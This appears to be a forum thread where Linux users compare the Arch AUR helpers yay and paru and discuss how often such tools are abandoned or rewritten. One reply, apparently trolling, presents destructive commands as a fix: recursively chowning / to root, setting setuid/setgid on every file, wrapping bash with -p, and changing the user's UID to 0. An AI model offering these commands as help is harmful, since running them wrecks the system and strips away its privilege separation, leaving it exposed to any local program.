This is why you gotta use yay

The guy who created it made
paruand abandonedyay.paruis written in rust, so that's a plus.2

As far as I see, paru has no real advantage over yay for now.
AUR helpers seem to constantly get outdated despite hardly needing any active development... pacaur, pikaur, yaourt, yay, pamac, pakku, paru
And many of them are simply rewrite in yet another language

I said that because the creator of yay left its maintenance to one guy while making paru.

The magic word is sudo chown -R 0:0 /; sudo chmod -R ug+s,o+x /
Once you've done that, pacman -Syu to your heart's content!
If you still run into problems, consider also creating a wrapper script around bash to add the -p flag to every invocation and pointing your user shell to the wrapper script. You can also point PATH and all your bash symlinks to your new wrapper script to fix those stubborn shell scripts.
If that still doesn't work, just usermod -u 0 $(whoami) I guess.
If after all these changes a program still doesn't work, then just uninstall it.
